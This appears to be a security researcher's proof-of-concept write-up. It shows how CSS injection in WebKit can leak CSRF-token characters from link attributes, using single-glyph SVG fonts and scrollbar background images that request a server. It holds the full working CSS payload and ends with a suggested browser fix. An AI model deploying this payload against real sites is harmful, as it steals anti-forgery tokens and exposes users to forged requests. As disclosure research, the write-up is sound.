Delete User
Delete User
Delete User
Delete User
Delete User
Delete User

This example is just a very simple proof of concept -- showing that we can enumerate arbitrary attribute value characters. It performs five positive tests and one negative test. Just to be sure. 

Now, what happens here? First of all you see an animation, resizing a pack of boxes. This is necessary because of a render bug in Webkit -- but not necessarily important for the attack itself. I just had to implement it because of a faulty dimensioning of boxes applied with external fonts.

So -- the essence of the attack is, that we cam map attribute content into the DOM by using CSS :after and content:attr(href) for example. This mapped attribute content can be styled with a custom font. The magic is in those fonts - each font is only supplied with one visible character - and all other characters having zero dimension. That means that only the dimensioned character will be displayed and all others won't.

@font-face {
  font-family: TestS; src: url(test_S.svg#TestS) format("svg"); 
}
@font-face {
  font-family: TestE; src: url(test_E.svg#TestE) format("svg"); 
}
@font-face {
  font-family: TestC; src: url(test_C.svg#TestC) format("svg"); 
}
@font-face {
  font-family: TestR; src: url(test_R.svg#TestR) format("svg"); 
}
@font-face {
  font-family: TestZ; src: url(test_Z.svg#TestZ) format("svg"); 
}
@font-face {
  font-family: TestT; src: url(test_T.svg#TestT) format("svg"); 
}
div {
 border: 1px solid red;
 font-family: monospace;
 height: 20px;
 overflow-x: none;
 overflow-y: auto;
 -webkit-animation-duration: 5s;
 -webkit-animation-name: decrease;
}
div a:after {
 color:white;
}
div.a a:after { 
 content: attr(href);
 font-family: TestS;
}
div.b a:after { 
 content: attr(href);
 font-family: TestE; 
}
div.c a:after { 
 content: attr(href);
 font-family: TestZ; 
}
div.d a:after { 
 content: attr(href);
 font-family: TestT; 
}
div.e a:after { 
 content: attr(href);
 font-family: TestC; 
}
div.f a:after { 
 content: attr(href);
 font-family: TestR; 
}

So -- only if a character existing in that font is part of the attribute value, the mapped content will have dimension. If we squeeze the box a bit, we will get a scrollbar. But only if the font-character match is given :) This is one of those magic "only one char has dimension" fonts I created for the PoC, testing for the letter S: 

http://html5sec.org/webkit/test_S.svg

That "one char only dimension" thing connected with the squeezing means, if we can find out, when the scrollbar appears, we can know which character is part of the attribute value.

Now - how can we create a scrollbar, that is able to notify an external resource the second it starts to appear? Well, Webkit has a special feature that allows to fully style scrollbars. We can of course also define a background image for a scrollbar. Too bad is just, that if we do that, the image will be fetched onload. So it's more or less useless. 

But -- Webkit also supports tons of pseudo classes for scrollbar styles (srsly - tons: http://trac.webkit.org/export/41842/trunk/LayoutTests/scrollbars/overflow-scrollbar-combinations.html - I mean, you know it already I assume ;)). And some of those make sure that background images assigned to the selected elements and states will only be loaded once they actually appear. Bam -- there we have our smart scrollbar of doom.

div::-webkit-scrollbar { 
 width: 12px; 
} 
div.a::-webkit-scrollbar-track-piece:vertical:increment {
 background: red url(/S);
}
div.b::-webkit-scrollbar-track-piece:vertical:increment {
 background: red url(/E);
}
div.c::-webkit-scrollbar-track-piece:vertical:increment {
 background: red url(/Z);
}
div.d::-webkit-scrollbar-track-piece:vertical:increment {
 background: red url(/T);
}
div.e::-webkit-scrollbar-track-piece:vertical:increment {
 background: red url(/C);
}
div.f::-webkit-scrollbar-track-piece:vertical:increment {
 background: red url(/R);
}

Now if we glue the whole thing together, we simply need the following ingredients:

 * A CSS injection
 * Some or two CSRF protected links with a token
 * One SVG font per character to determine
 * A server listening for incoming requests

The SVG fonts were chosen since they are insanely easy to create. Just set the path and some attributes of any glyph but the desired one to null and done -- we have the perfect font where every character but one is invisible. The animation has to be there because of the aforementioned dimensioning bug - if there's no animation, the background image requests will fire even for those characters tests who don't result in a visible character.

@-webkit-keyframes decrease {
    from {
        width: 360px;
    }
    50% {
        width:118px;
     }    
    100% {
        width:360px;
    }    
}

To fully enjoy the demo, make sure you have a look at the Network tab in the developer tools. You'll see requests for the characters S,E,C,R,T - but none for Z. Z was referenced in the demo with a dedicated test as well. This is our negative test proving that it really works.

So - conclusion: We can enumerate characters via CSS -- that is not new since SDC et al. did this with the Sexy Assassin back in 2009 (was it?). With Webkit nevertheless we can do it FAST and without a massive footprint. My suggestion for a fix would be: simply make sure that scrollbars and their numerous components and states cannot request external resources once they appear/change state -- but fetch their stuff onload so we can avoid attacks like these. The only think making this attack work is the fact that some parts of the scrollbar loads data from an external machine on visibility/appearance -- and not on declaration in the style-sheet.